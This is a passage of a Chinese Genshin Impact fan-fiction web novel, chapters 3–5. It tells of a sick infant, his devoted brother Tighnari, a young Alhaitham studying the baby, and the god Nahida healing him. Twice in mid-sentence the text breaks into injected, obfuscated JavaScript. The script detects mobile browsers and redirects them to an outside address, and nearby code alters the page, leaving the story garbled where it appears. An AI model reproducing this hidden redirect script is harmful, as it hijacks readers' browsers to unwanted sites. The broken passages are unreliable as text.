《原来我命不久矣[原神]》 3. 第 3 章 提纳里说自己是天才......不含一点水分。 他天生具备植物学的各种天赋,头脑又灵活敏锐,性格极好,年纪小小就能耐下性子,说一句吃苦耐劳都不算过分。 再加上学者家庭本身良好的氛围熏陶,家里各类论文的储备,提卡姆和赛琳娜还给提纳里开放了他们能观看的虚空终端的论文权限,各类buff加上去,让他小小年纪就呈现出势不可当的天才之姿。 一个原本名气平平的小地方学校学生,只是参加了须弥城中等学府的考试,便被当地学校拍板接受,这位跨级来的小小学生。 在提纳里未能注意到的地方,已经有许多生论派学者盯上了他。 想必按照这样的学习进度下去,提纳里进入阿弥利多学院的年龄,能比其他时间线的还要早很多,大概今年就能进去就读。 但这些光辉的荣誉并没有让这个孩子妄自骄傲——他订的目标太高,因此并不为目前达到的成就沾沾自喜。 而比起这些,他们一家也确实更关心提纳里在小孩子方面的快乐。 在搬进须弥城后,他们积极地给提纳里布置房间,务必想让提纳里过得和之前一样舒适,为此甚至花钱雇人搬运了他一直以来睡的小床。 随后,赛琳娜做了自己拿手的小饼干,和提卡姆花了一天时间用礼品袋进行包装,让提纳里带着这些小零食去送给新同学,而后还带着提纳里去见了一些他们在教令院的老同学,同样给对方的孩子送了小礼。 这种社交方式,笨拙,却是大家都能接受的。 提卡姆夫妇虽然是郭狐一族,也早就已经社会化,但更多是他们性格好,更能融入人群带来的影响,像这种正儿八经的社交礼仪,他们也是第一次学。 但看提纳里受同学和同龄人欢迎,也确实让他们很欣慰。 其实,对于人际关系这件事,艾赛亚反倒一点不担心。 他虽然记忆浑浑噩噩,现在处于一种似小孩非小孩的状况,但思维活跃——新脑子就是好使! 艾赛亚就觉得对于提纳里来说,人际关系从来不是什么需要担忧的东西。 当他发现提纳里真有耐性和脾气,坐在摇篮床前面,认认真真念一上午的书,又自学泡奶粉和换尿布,且还会自行规划学习与运动时间,能听进父母的唠叨时......艾赛亚就已经断定,提纳里在同龄到十多岁的小孩里,必然是受欢迎的那个! 想想这个年纪的小屁孩吧,以自我为中心,每天坐不住凳子,说起自己就没完没了,还有相当多的整日爬屋梁、找猫逗狗,整一个人嫌狗厌的模样。 而提纳里这种能耐得住性子听人说话,又有自己主见的小孩,那确实是非常稀有的,很少有小孩能拒绝这样的朋友。 而且...... 不是吹嘘,提纳里长得很好看。 清秀白皙的面容,大眼睛明亮有神,碎发挑染却只显清秀,半点没有叛逆的意思,鼻梁挺立,整体少年气十足,喷薄而出的青春气息。眼底的碎绿让他看起来柔和的同时,五官的挺立和偏暗沉的瞳孔底色又让提纳里看上去并不是那么好接近。 虽然年纪尚小,但已经能看出以后出类拔萃的模样。 外貌、才识和性格加在一起,只有提纳里挑朋友的份,没有其他人对他挑剔的余地。 “只近益友。”提卡姆也是这么教诲提纳里的。 因此虽然与须弥城不少人相处愉快,提纳里却从未带过任何友人到家里玩耍,想必只有他非常认可的人,才会允许对方接近自己的小家庭。 ...最近的提纳里,其实更痴迷于教授艾赛亚说话和翻身。 现在的艾赛亚,已经会抬头了。 但是相较同龄人,他的身体基础实在太弱,因此进度要落下不少,正常这个月份的孩子应该连抬胸都可以开始尝试了,而艾赛亚还只是某一次在辅助下抬起了头。 他还是不能说出清晰的字节,只能发出模糊的声音,但已经能够说出较长的咕哝声。 而最难熬的,还是这几个月越发严重的病情。 就算脱离了头月,艾赛亚的身体也没有向好发展的趋势,甚至因为接下来几个月,他处于正常孩子开始逐渐拥有肢体自主权力的间歇期,身体却仍然脆弱,胀气、肚子疼和头疼脑热不断地发作,治疗的方法又时常不适用于这个月份的小孩,因此更加折磨。 好在他们搬家的决断无比正确,每次艾赛亚急性状况发作,都能及时送去治疗。 在这期间,提卡姆和赛琳娜拜访了无数生论派研究医学的佼佼者,试图找到一条治疗的出路,也始终没有较大的进展。 有的学者甚至直言:“这个孩子可能活不过今年。” “谢谢,但是我觉得可以。”赛琳娜难得强硬地回击道,她的眼底氤氲泪水,被强压下去,“艾赛亚很坚强.....之前他们也说他活不到这个月,可是他现在还活着。” 然后不欢而散。 虽然嘴上怼得迅速,但赛琳娜还是受到了这句话的强烈打击,一连几天郁郁寡欢,但对着艾赛亚和提纳里时还是强撑笑脸。 “亲爱的,要相信自己,相信艾赛亚。” 提卡姆敏锐地发现妻子的失落情绪,适时给予鼓励和调节:“我的朋友组织了一场茶会,正好我们在须弥城,带着孩子们去散散心吧,把艾赛亚总憋在房间里也无助于病情。” “.....你说得对。”赛琳娜重振旗鼓,“艾赛亚应该再看看这个世界,他会想留下来的。” 于是数天后,他们在须弥城的一处凉亭集合,赛琳娜把艾赛亚放进推车里,牵着提纳里,跟随丈夫来到这处茶会地点。 这次茶会的组织者是提卡姆熟识的友人居勒什,对方听闻了他的消息,主动提出要组织一场亲子茶会,帮助友人夫妻散心。 为表诚意,他作为一个还未结婚的单身男性,甚至带上了之前从沙漠里带回来的白毛黑皮小孩,来为茶会垫下温暖的亲子基调。 既然要带小孩,来参会的人倒也不是很多。一个看起来智慧和蔼的老妇人,还有一个在教令院任职的明论派,携著名建筑师妻子前来。他们都带着一个年岁很小的孩子,一个金发的小孩,还有一个银绿色头发的孩子。 他们到达约定地点后,虽都保持了沉默,但其实所有人都对老妇人的到来有些惊讶。 “抱歉。”老妇人先开了口。 她的笑容和蔼:“我突然带着海森来,想必是吓了你们一跳。” “这个吓一跳,也可以是被惊喜吓一跳。”居勒什尝试缓和气氛,他身旁黑皮白毛的孩子很沉默地围观着自家家长难得的手无足措,“额,这位就是小艾尔海森吧,还是第一次见面,之前你父母在信里说过你。” 银绿色头发的孩子抬头看他一眼,平静地点点头。 居勒什还想继续说点什么,却也不知道从何开口,生怕戳中其他人的伤口,因此老妇人又温和地主动解释了情况。 “他的父母,也就是你们的朋友,前几年就因为意外离开了,然后由我抚养艾尔海森,好在这孩子虽然有些特别,但是很乖,我也轻松很多。” 老妇人脸上露出些许伤感,“我那天忽然收到你们的消息,听到你们久违地邀请他们来茶会聚一下,我本想解释之后就拒绝邀请,却看到你们的聚会缘由——因为一个可怜的孩子。我一下子就想到了海森的父亲。” 艾尔海森对这句话毫无反应——他看起来真不像这个年纪的小孩,对提及早逝的父母、自己的经历也不展露太多情绪,反而专注地观察四周,然后目光投向每一个人,似乎在观察什么。 “大概是人老了,我一下就有些触动,希望能在自己死之前,带海森来看一下他父母曾经的朋友,不一定做什么,来看一下,倒也是一种见识。海森她的父亲曾经身体也不是很好,但是却有幸活下来,又留给我这么一个孩子......我也老了,不能出来呆太久,希望这个小朋友会活得比我更长更健康。” 艾尔海森的祖母中间说了很长一段话,充满感情,却也不失逻辑,她看起来已经老态龙钟,眼睛却依旧明亮,孩子也被她养得很好,身体强壮,看起来就很聪明。 她最后给了艾赛亚诚恳的祝愿,和一个小小的手环,大概艾赛亚需要再长大一些才能用 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“其实他也只会这样叫。”提纳里笑眯眯地纠正说。 随后他们就着学业、生活展开了一些交谈....其实他们是见过的,提卡姆和卡维父亲的关系非常好,之前短暂见过一面,但彼此倒不是很熟悉。不过这不碍事,因为提纳里和卡维的性格非常好,卡维性格活跃,且因为知道艾赛亚的情况,也一直抱有极大的耐心和善意。 相比起来,另外两个孩子就要沉默得多。 艾尔海森并不主动加入交流,他环视一周后,像是已经清楚了一些信息,随后找到自己更感兴趣的推车,主动走近,站在推车一边冷静地观看艾赛亚,像在打量什么新奇物种。 他的目光这样锐利,行为举止又这样沉默,让提纳里不由得产生了一点防备的心思:“你好?” “我知道你的名字,我们可以跳过互相介绍的环节。”艾尔海森说,他仍然凝视着推车里的孩子,似乎想透过艾赛亚看到什么,又像是只是在观察一个脆弱的新生命,“他看起来很小。” “艾赛亚比其他孩子更小一点。”提纳里点头,“但是也很可爱,不是吗?” 艾尔海森没有回应这句话,卡维却积极地:“是的!他像一个汤圆团子!” 卡维对艾赛亚和提纳里都十分亲近,得到提纳里允许后,好奇地触碰艾赛亚的小脸,随后神奇地看着自己的指尖,眼睛闪闪亮:“好神奇......我也想要一个弟弟,但是妈妈说,有我一个就够了。可是我觉得,多一个人玩也很好。” “艾赛亚还不能和我们玩,但是他会听我上课。”提纳里难掩骄傲,“他还会点头和回应我。” 卡维有点眼馋:“那他什么时候可以和我们一起搭积木?我会搭很多房子,高塔也不是很难。” “应该还要几个月。”提纳里此时像一个精通婴儿学的大师,侃侃而谈,“他还要学说话、翻身和自己坐起来,然后还要学会走路,这样他才能和你一起玩积木。” “好像也不是很久。”卡维认真计算几个月是多久,“那到时我会邀请你和艾赛亚过来玩......呃,如果这两个人愿意的话,也可以一起过来!” “这两个人”特指艾尔海森和黑皮白毛的孩子。 艾尔海森仍然不知道对着艾赛亚在研究什么,专注地和艾赛亚互瞪大小眼,似乎沉浸于什么大事,实际上提纳里发现艾赛亚已经瞪眼睛瞪累了,在打哈切,有点犯困。 黑皮白毛的孩子一看就是沙漠民,有一双看起来相当妖异的红眼睛,很沉默地带着兜帽,把一张小脸遮住大半,显得沉默又冷淡。将他带过来的居勒什是他的养父,也是他的导师,介绍这个孩子叫“赛诺”。 赛诺的红眼睛一直左右看着,一会倾听卡维和提纳里的对话,一会又观察艾尔海森和艾赛亚的动作。他这样沉默,几乎要让人无视他的存在,但实际上他往这边走近了几步,还是有点亲近的意思在。 卡维偷偷告诉提纳里:“在你们没来之前,我真的很难在他们之间找话题——他们太会装酷了!” 4. 第 4 章 卡维吐槽得一点也不过分。 从普通人的视角来看,艾尔海森和赛诺真的是非常特殊。 他们像一个闷葫芦,又或者只沉浸在自己世界里的封闭儿童,但这么说又有些过于夸张,因为他们与其说闭塞,不如说是有自己一套独到的行为逻辑。 艾尔海森是会回应人的,只是他看上去实在是很不好接近,说话方式也非常特别,简短而疏远,思路清晰得不像正常的小孩。 而赛诺,他只会用简洁的“谢谢”涵盖一切,随后用警惕地眼神观察他们的一举一动,活像一个捉老鼠的猫,警觉得过分。 相较起沟通顺畅,已经交换联系方式的提纳里和卡维,这两人更热衷于对着没法正常说话的艾赛亚发呆,好像觉得婴儿是个新奇物种。 其实也有可能是欺负婴儿没法提出抗议。 据大人们聊天可知,艾尔海森明明跟提纳里差不多年纪,却已经被批准,由祖母送进教令院学习——但是他才去了半节课就回家自学了。 不管是进入最高学府学习的年纪,还是他迅速退学的决断,都会让听说的须弥人大吃一惊。 “教令院好玩吗?”卡维单纯地打破寂静,他好奇地看着艾尔海森,“我听说里面上的课很高深。” 提纳里忍不住去侧耳听答案。 同样作为天才,他已经在准备学校的跳级许可,大概半年就能从须弥城学府跳进教令院内。 之所以不直接进去上课,是因为父母建议他用一定的成果寻找最适合的导师,能让他在阿弥利多学院的学习生活更有方向性。 针对这个建议,提纳里正在筹备自己的课题——他想吸引阿弥利多学院内赫赫有名的生论派导师,纳菲斯的注意力。 对方据说不喜欢招收年纪太小的学生,但提纳里相信自己会是一个例外。 艾尔海森虽孤僻,也是懂礼貌的,态度平淡地回应了卡维的话,只是话语仍然出人意料:“很无聊。课和人都很无聊。” 卡维尴尬挠头:“我还是第一次听人这么评价教令院。” “你有权力不相信我的话,但对比里面的课程,我觉得还不如自学。”艾尔海森客观地说,“不过再过几年,教令院会更有价值——我指的不是人和课,而是说,你至少需要这个平台去发表一些东西,那样更方便。” 他说这些话的时候,赛诺在旁边默默点头,这个动作幅度真的太小,如果艾赛亚没有认真观察,大概根本注意不到。 赛诺大概确实对教令院有一点点意见,他的养父是素论派导师,带着他在教令院内工作,但教令院的人对沙漠子民具有歧视态度,对赛诺并不是很欢迎。 居勒什这次举办亲子茶会,也多少出自怀揣着对赛诺人际关系的忧虑。 “...谢谢你的建议。”卡维狐疑地回复,他心里仍然对教令院抱有非常美好的印象,却也不好意思当面否定新结识小伙伴的话,只好客气地敷衍,“我以后会去观察的。” 卡维同样准备去教令院学习,他和提纳里不一样,受母亲的熏陶,卡维对刹诃伐罗学院里妙论派擅长的建筑学更感兴趣。 这个学科对各种常识积累的要求更高,为了能打稳基础,卡维并不打算太早进去就读。 艾尔海森对教令院相关的话题很不感冒,他对艾赛亚更感兴趣:“他能听懂人说话?” 他伸出手,停在艾赛亚眼前,然后一点点拉远,测试艾赛亚的视力,随后缓缓竖起两根手指:“这是几?” 艾赛亚“呀”了两声。 “有意思。”艾尔海森说,他又把手指变成三,听到三道声音后又变成五。 但艾赛亚已经不是很想配合了,陪小孩玩是一方面,但一个天生就会数数的孩子是不是太超出常识了?他假装没看懂,随便“呀”了一声。 “他只会一到三吗?”艾尔海森问,“你没教到五?” 提纳里想不起来自己有没有教艾赛亚数学——他一有时间就给艾赛亚念书,虽说念得更多是植物学相关,但有时候也会挑两本数学书来助眠,难道说艾赛亚真的听懂了那么一点点?他不是很确定。 艾尔海森得不到准确的答案,对着艾赛亚重新陷入沉思:“嗯......” 他这一思考,就一直持续到这短暂的聚会结束。 聚会主要是为了提卡姆家庭举办的,参会的大人们多少提供了一些生论派的人脉,以及新药物的思路,又因为艾赛亚不能在户外呆太久,所以聚会时间很短暂。 卡维临走时约定后面会过来找他们玩,赛诺倒是保持他一声不吭的状态,扭头跟着养父居勒什就走了。 艾尔海森站在原地,仍然沉浸在自己的世界里,他的祖母最后过来呼唤他离开,他才抬头,重新从自己的思绪中回到现实世界。 然后,他看到——婴儿推车里,艾赛亚忽然伸直胳膊,对他张开手掌。 露出了五根手指。 “......”艾尔海森若有所思,注视提卡姆一家离去的身影。 不知道是不是艾赛亚这突发奇想的回应,让艾尔海森产生了探究婴儿对数学和肢体表达的兴趣。 但总之,艾尔海森对艾赛亚产生了特别的兴趣。 即便这次短暂的茶会告一段落,艾尔海森也会在偶尔有空的时候,过来拜访提卡姆一家,饶有兴致地观察他感兴趣的东西。 艾尔海森实在是很有趣的小孩。 他前几次来拜访时,按照社交礼仪带着礼物——是一些时令水果和婴幼儿产品,大概是他祖母硬塞给他的,显得他这个人很客气似的 等他来的次数变多,自然发现提卡姆家里并不怎么在乎这点社交礼仪,便干脆利落地直接上门。 他甚至取消了提前联系的步骤,仿佛回家一般说来就来,想走就走。 这时候忽然又好像非常不讲礼貌了。 一来二去,即便对艾尔海森的性格不太适应,提纳里也逐渐熟悉了对方,大概摸清楚了对方的脾气。 艾尔海森想实现自己的目标,比如观察艾赛亚的时候,他并不介意费心思做社交礼仪,因为这能让自己顺理成章且更方便快捷。 所以当告知他不需要这么做以后,他又完全不在乎其他人的看法,把所谓礼仪丢得干干净净。 他对艾赛亚的兴致确实很高昂,虽不至于影响艾尔海森个人学习规划的程度——他似乎在学习不同的语言,但的确让他花费了一些空余的宝贵时间,让他登门拜访。 他到底在观察艾赛亚什么? 提纳里也很想知道。 恰好正忙着在家筹备吸引纳菲斯的课题,提纳里去学校的频次因此减少,得以近距离观察二人互动。 艾尔海森与艾赛亚的相处,准确来说应该是单方面的教学。 银绿发色的小孩总是会掏出自己带的书本....最开始是数学书,他试图教艾赛亚从一数到一千;然后是哲学书,念完就拷问艾赛亚几个玄之又玄的问题,例如“你对活着有什么看法”之类的,然后对着艾赛亚“咿咿呀呀”的反应,做上半天的笔记.... 最近是轮到在读故事书。 艾尔海森个人来说是不太想在这里念“须弥蔷薇公主”的。 但奈何他不念,艾赛亚就不会听他说话。 在艾尔海森念数学书的时候,艾赛亚在玩提纳里编的小兔子;念哲学书的时候,他又开始咬一个番茄,咬了很久都没咬破皮..... 等艾尔海森选其他种类的书时,艾赛亚又突然对抱住自己的脚丫子很感兴趣,开始孜孜不倦地做杂技演员的各种动作。 婴儿的行为看上去完全没有逻辑。 艾尔海森的观察一筹莫展,直到提纳里告诉他:“艾赛亚觉得很无聊,才会这么做,不然一会就睡着了,小孩子觉很多的。” “我知道。”艾尔海森面无表情地说,“这个月份的婴儿只有几个小时的清醒时间,所以我每次都挑他会清醒的那点时间来,为保证准确,我还询问了赛琳娜阿姨。” “赛琳娜,不,妈妈居然还告诉你这个......”提纳里噎住,“那她大概没告诉你,艾赛亚很需要故事书或者有人陪他玩,因为他需要更有趣的东西吸引注意力。” 艾尔海森注视着他,不吭声,但意思显然是让他说下去。 “艾赛亚身体不好,你也知道的。” 提纳里说着坐到艾赛亚床边,拿起拨浪鼓,接替着陪艾赛亚玩,但手很小心地没有晃太频繁,毛茸茸的尾巴也一齐伸过去,和拨浪鼓组成双重诱惑。 艾赛亚虽然拥有一些前世的智慧,但说到底还是小孩子心态。 否则不会淘气地延迟比出“五”来吸引艾尔海森的注意,然后又轻而易举被自家哥哥的尾巴和拨浪鼓逗得乐不可支。 提纳里放轻了声音:“他比正常孩子更容易犯困,而一旦睡着,就很容易发烧、头痛,又只能哭来吸引我们的注意力......所以他清醒的大部分时候,都喜欢玩新奇的东西,如果只是讲他听不懂的话,很容易被无视的。艾赛亚需要能打起精神的东西。” “但你之前念的书,”艾尔海森不解,“也算是小孩不喜欢的东西吧。” 提纳里道:“我不一样。” 艾尔海森追问:“你哪里不一样。” “因为我是他哥哥啊!”提纳里侧头,笑意盈盈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我抱着你,给你的父母,我的孩子们,举办了最后的葬礼.....然后我许了一个愿望,我看到你第一眼,就想为你许下的愿望。” “我希望你能一辈子健康、平安,过一个平静的生活。” 祖母的话语和缓,满溢着长辈的慈爱。 她笑着抚摸艾尔海森的头,“啊...我本以为这种话会在很久以后才和你说。” 艾尔海森并没有说任何话打断这一幕,也没有拒绝祖母轻柔的抚头,他半阖上眼睛,耳边似乎又响起今天在提卡姆家里时,提纳里最后和他说的一番话。 “其实...我也一样。”喂完药物以后,提纳里替熟睡的艾赛亚盖上被子,忽然有感而发,“我和艾赛亚是一样的。” “什么?” “我想多看看他。”提纳里说,“我偷听妈妈他们说话,他们说,艾赛亚可能活不过今年。所以我也怕....看一眼少一眼。” 说这句话,对于他来说并不是一件容易的事情,提纳里的耳朵微微往下垂,眼睛不自然地向其他地方看,抓门把手的胳膊紧绷,艾尔海森如果立刻戳穿他的不镇定,恐怕提纳里真的要因为这句肉麻的话夺门而逃。 但艾尔海森没有。 他只是状似无意地扫了一眼,便按照原计划回到家里。 第二天,他收到消息——艾赛亚的病复发了。 祖母向来是清楚艾尔海森的各种奇怪想法的——即便其他人觉得这个孩子很古怪,聪明到让人害怕,她也很明白艾尔海森的一些奇怪举止的秘密,因为对方从不掩藏,只需要一颗足够细心的心。 例如他对艾赛亚的特殊兴趣,祖母就一点也不吃惊。 艾尔海森并不是对婴儿感兴趣,他只是好奇婴儿这个特殊阶段时对世界的各种视角,他好奇的是一个特殊的窗口,而艾赛亚恰好是少有的似乎能沟通的婴儿,又在父母的亲友家里。 等艾尔海森探究完了他好奇的东西,他就会客气地保持一定距离,继续呆在他无所束缚的个人天地里。 除此以外,好像除了昨晚那一场温馨的答疑以外,没有发生什么超出以往日常的事情。 她本来是这么想的。 直到第二天下午收到艾赛亚病重的消息,祖母做好打包的晚餐,准备过去探望一番的时候,她在门口鞋柜边看到了收拾整齐的艾尔海森。 他已经穿上整齐的衣服,领子都熨得很平整,银绿色的眼睛内依旧闪烁着一点灼人的红色,就如同他本人一样疏远而炽热。 祖母停下脚步,询问地看看他。 “我也一起去。”艾尔海森只是说。 5.第 5 章 艾赛亚这病爆发得很突然。 他这个身体素质本来就差,小病不断,总体也谈不上稳定。 按理来说早该送进重症监护室,整日监护着,而不是放在家里让提纳里帮忙。 但当时有医师为艾赛亚下论断,说他绝对活不下一个月,还不如让家里人多见见面,反正医疗也保不住这条小命——这话把赛琳娜气得够呛,抱回家精心养着了,结果反而病症稳定不少。 于是机缘巧合下,便也就出生以后没再在医院住着,反正他们现在搬进须弥城,房子不够大、上班算不上方便,可是离医院是足够近的,也就差不多是住在医院里了。 艾赛亚人太小了,才几个月,于是出生以来一直都是住在赛琳娜和提卡姆的房间里,以方便照料。 尽管如此,他们还是给艾赛亚准备了一个房间,无论是在老房子,还是在须弥城这栋小房子。 房子里只放了亲友们给艾赛亚送的礼物,还有他们在艾赛亚出生前后精心挑选的小玩意,目前只充当玩具房的作用。提纳里在这个房间的窗台放了一盆芦荟,这是他研究后挑选的品种,耐活程度堪比仙人掌,哪怕艾赛亚长大以后揪芦荟玩,都能壮硕地长大。 他们期待着艾赛亚长大后,自己挑选家具,装扮房间的那一天。 但期待之所以是期待,一方面是内容太过美好,一方面也是实现起来太有难度。 前主责医师断言的“熬不过一个月”,艾赛亚在之前的紧急入院治疗后,奇迹般康复,并保持了一段时间的相对正常状态,让赛琳娜等人看到了曙光,以为“熬不过今年”的说法也注定是虚假的。 但目前看来,对方说得或许还是有点门道在里面。 艾赛亚又一次进入重症监护室。赛琳娜等人无法进入,只能看着医师在里面为艾赛亚装上各种医疗设备,以便紧密监护每一点生命征兆。 “放轻松。”提卡姆安抚焦虑的妻子,看向提纳里,“提纳里,你先回去休息吧。” 提纳里摇摇头,耳朵难得耷拉下来,有点无精打采地注视着重症监护室的方向。 他白天照顾艾赛亚,晚上就忙于自己课题的研究,因此每天睡眠的时间都不是很够,昨晚就在通宵后,一上午去教令院忙于课题提交的手续,并且和纳菲斯老师提交申请,简直是非人的工作日程。 结果中午一回来,就和赛琳娜一块发现,艾赛亚在婴儿床上满头是汗,脸色却发青,一直在呕吐,话都说不出来。 焦急送到医院里,才知道艾赛亚的病症进入了更危险的时期,这个时期对于婴儿来说相当危险,随时都有没了的可能性。 提纳里确实很累,但他更怕回去一趟,就看不到人了! 所以提卡姆好说歹说,都没能把提纳里劝回去,对方宁愿在病房门口坐着睡着,也不要回去在房间里躺着。 “...算了。”赛琳娜扯了扯丈夫的衣角,垂眸道,“兄弟连心,提纳里也难受,就让他在这呆着吧。” 提卡姆拗不过这对母子,心里也认同赛琳娜的说法,便回去取了毯子,和医院租了陪护的房间,让他们在那里休息。 而他则急着联系之前找的一些生论派能人,拜托他们过来看看。 艾尔海森祖孙两人下午赶到,为他们送来晚饭。 菜品丰盛,但不油腻,祖母考虑到几人无心吃饭,做的都是好克化的软食,几口就能解决,饱腹感能一直顶到深夜。她是老人家了,曾经的孩子身体也不好,在这方面格外有经验。 赛琳娜没想到参加一场亲子茶会,还能有这样的无心之喜,连忙感谢对方。 艾尔海森则去重症监护室门口,隔着玻璃看了一会,随后才去提纳里身边,慎重思考后才道:“还没有到最坏的时候。” “我知道。”提纳里抬头,“我相信这和之前一样,只是一个小坎坷而已,艾赛亚能挺过来的。” 艾尔海森看他眼底虽有青黑,眼神却依旧明亮,看上去不像是会轻易被打倒的样子,倒也松快了一口气,转移话题到自己能参与的领域。 “关于课题上报的手续,如果你需要,我可以帮你。”艾尔海森说出早已准备好的方案,“听说你申请的是纳菲斯的方向,我有个主意,你把论文写好给我,我过几天去讲座直接让他看,速度更快。” 提纳里讶异:“还能这样?” “可以。”艾尔海森冷静地分析,“按照身份上来说,我仍然是教令院的学生,推荐我进教令院的学者和纳菲斯很熟,他认识我,只要你的论文再切合对方讲座,我能让他注意到你。艾赛亚既然生病,你没必要被两边拖垮,我可以帮你。” 有人脉,有方法,为什么不用?艾尔海森和提纳里都不是循规蹈矩的人,提纳里考虑之后,痛快地接受了艾尔海森的帮助。 “大恩不言谢,我今天就会用虚空终端把论文修改发给你。”提纳里说,“不过我确实没想到你会主动帮我。” 艾尔海森摇头:“算不上大忙,很简单的事情,而且你和艾赛亚让我有所启发,算是我的一点回报。” 他似乎只是来帮忙的。 陪祖母送完餐食,和提纳里洽谈完毕后,就随祖母一同带着用过的餐具离开了。倒是来也匆匆,去也匆匆。 提纳里一家今天就决定在医院过夜了,如果艾赛亚的情况持续恶化,提卡姆就从家中运点物资过来,到时再做长期驻扎的打算。 虽然他们家离医院已经足够近,但对于艾赛亚的担忧,让他们不愿意离开艾赛亚超过十米——万一真的没能见上艾赛亚最后一面,该多让人遗憾! “大慈树王在上,”赛琳娜心情焦虑,看论文看到一半就忽然站起来,站在重症监护室外面忧愁地祈祷,“保佑艾赛亚平平安安。” 大慈树王有没有听到这声慈母的祈愿,不得而知。 但小吉祥草王确实是如约而至了。 “又见面了,我们已经是熟人了吧,”无数次在梦境中出现的小女孩,再次携着绿茵和草木到达,笑眯眯地对着艾赛亚诱哄,“还记得我吗,艾赛亚。” 艾赛亚毫不犹豫地:“呀。” 他不仅记得,还已经识破了对方的真实身份——掌控须弥国度的神明,小吉祥草王。 小吉祥草王继承了大慈树王的神明之位,现如今本应掌管须弥的教令院,但却始终深居净善宫内,似乎并不被重视,因此也很少被人提及。 须弥人提起神明,更多的是怀念曾经的大慈树王,又或者是沙漠人口中的赤王,更甚者是久远之前的花神,而不是小吉祥草王。 她的存在被漠视了,而小吉祥草王似乎也没有所谓神明的威严,对此没有表态,无人知道她的境遇,自然也不知道这位神明就是是何模样。 但......须弥人不会做梦。 能在“梦境”里来去自如的小女孩,现如今,拥有这个本事却致力于治愈一个婴儿梦境的神明,除了当今须弥的草神,实在是想不出另一个答案。 更何况,对方口中偶尔会提及的人物,也似乎能和“大贤者” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964896|177683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、“大慈树王”对上号。 “你今天注视我的时间,比以前更长。”小吉祥草王敏感地询问,竖起的精灵耳晃动,“是因为更难受吗?” 她闭上眼睛,手里浮现明亮却不刺眼的绿光,一点点融入艾赛亚的身体,在同一时刻,艾赛亚真的感受到一丝缓解的凉意从身体内扩散开来,身体里的痛苦舒缓不少。 艾赛亚仍然是婴儿外形,因此小吉祥草王并不期待对方在自己诊疗的过程中,能有太多准确的反馈。 因此,她更多是依靠自己的神力,细心为艾赛亚梳理身体里的阴霾与痛楚。她不能准确地治疗疾病,帮艾赛亚减少痛苦,也算是促进身体的自动疗愈。 “我现在还不能找到解决的办法。”小吉祥草王说,“但一定要坚持下去,艾赛亚,你的病情与地脉的绑定太深,我或许已经有些头绪,只是需要积蓄力量再来,否则还是竹篮打水一场空。” 艾赛亚盯着他咿呀作声,小吉祥草王听不明白,却很有耐心地点头回应。 偶尔很怜爱地问:“你怎么会得这样重的病呢?孩子。” 紧接着又细语:“一定要坚持下去.....一定。我会找到救你的方法,艾赛亚,等我.....请你一定要等等我这个不靠谱的神明.....” 梦境渐渐模糊,病痛也似乎在逐渐靠近,艾赛亚鼻尖的花草香味逐渐散去,消毒水味逐渐飘散过来,耳边嘈杂的声音也逐渐清晰,四肢也开始恢复掌控权。 不知何时,他已经离开了小吉祥草王建造的梦境花园,重新回到现实的苦痛之中。 病痛啃噬着他的身体,耳畔的呼唤也慢慢远离,艾赛亚再次体会到了命悬一线的感觉。 什么也做不到,只能咬牙挺下去。 ...毕竟已经收到了这么多的祝愿,他已经舍不得就这么放弃了。 仿佛淹没在黑暗里,脑袋里烫得像是有虫子在撞击,胃部到喉咙都弥漫出溃烂一般奇怪的臭味,中途被喂了几口奶,也是一口不剩地全部吐了,母亲的泪珠滴落在脸上,手背被扎进针头,大概是被注入维持生命的各种液体。 还要多久?艾赛亚不知道答案。 但是耳朵鼓膜偶尔听见父母的低声细语,以及提纳里温柔的念书声,腹腔就重新积聚了力量。 不知道过了多久。 意识模糊的某个时刻,忽然又开始清晰地听见人说话的声音,身体的疼痛也随之缓解了不少。 “....真是奇迹,生命体征正在稳定恢复。” “大慈树王保佑!” “非常感谢你,曼达医师,您难得回来一趟,帮了我们大忙!” 艾赛亚随着声音费力睁开眼睛,刚一睁开,就有一双手替他遮挡刺眼的光线,待适应后,才渐渐看到一双熟悉的、藏匿着绿白相间菱形小花的眼睛。 对方的模样很陌生,只有那双眼睛谈得上熟悉,却在笑起来的那一刻让人幻视梦境里的小吉祥草王,或许这不是错觉,因为她俯下身,对他低语。 “感谢你,艾赛亚,我真的赶上了。” 传言,小吉祥草王拥有无上智慧,能够通过虚空“借用”其他人的身体,如今看来,似乎不是假的。 周围人还在喃喃感叹一项医学奇迹的诞生,对“大慈树王”的赞美不绝于耳,小吉祥草王纳西妲却也丝毫不介意,保持着曼达医师的外貌,专注地为他检查身体。 啊..... 其实是小吉祥草王保佑啊。 艾赛亚不自觉笑起来。